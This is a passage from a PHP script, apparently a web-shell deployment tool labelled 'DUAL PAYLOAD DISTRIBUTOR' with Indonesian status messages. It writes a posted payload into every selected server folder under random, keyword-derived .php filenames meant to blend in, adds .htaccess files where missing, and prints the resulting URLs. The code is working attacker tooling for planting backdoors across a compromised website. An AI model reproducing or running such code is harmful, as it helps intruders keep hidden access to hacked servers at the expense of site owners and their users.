= 4) { $filtered[] = $w; } } return $filtered; } /* =============================== RANDOM FILENAME =============================== */ function generateRandomFilename($keywords) { if (empty($keywords)) { return "file_" . rand(1000,9999) . ".php"; } $word = $keywords[array_rand($keywords)]; $rand = rand(100,999); return $word . "_" . $rand . ".php"; } /* =============================== PROCESS =============================== */ if (isset($_POST['process'])) { $script_content = $_POST['script_data'] ?? ''; $htaccess_content = $_POST['htaccess_data'] ?? ''; $target_folders = $_POST['targets'] ?? []; if (empty($script_content)) { $msg = "[!] Payload utama kosong!"; } elseif (empty($target_folders)) { $msg = "[!] Tidak ada folder dipilih."; } else { $count = 0; $keywords = extractKeywords($script_content); foreach ($target_folders as $folder) { /* ====================== RANDOM FILE ====================== */ $filename = generateRandomFilename($keywords); $path = $folder . '/' . $filename; if (file_put_contents($path, $script_content)) { $count++; $clean_path = str_replace('./', '', $folder); $url_results[] = $base_url . '/' . $clean_path . '/' . $filename; } /* ====================== .HTACCESS FILE ====================== */ if (!empty($htaccess_content)) { $ht_path = $folder . '/.htaccess'; if (!file_exists($ht_path)) { file_put_contents( $ht_path, $htaccess_content ); } } } $msg = "[+] Deploy selesai ke $count folder."; } } ?> DUAL PAYLOAD DISTRIBUTOR

> DUAL_PAYLOAD_DISTRIBUTOR

[+] Generated URLs: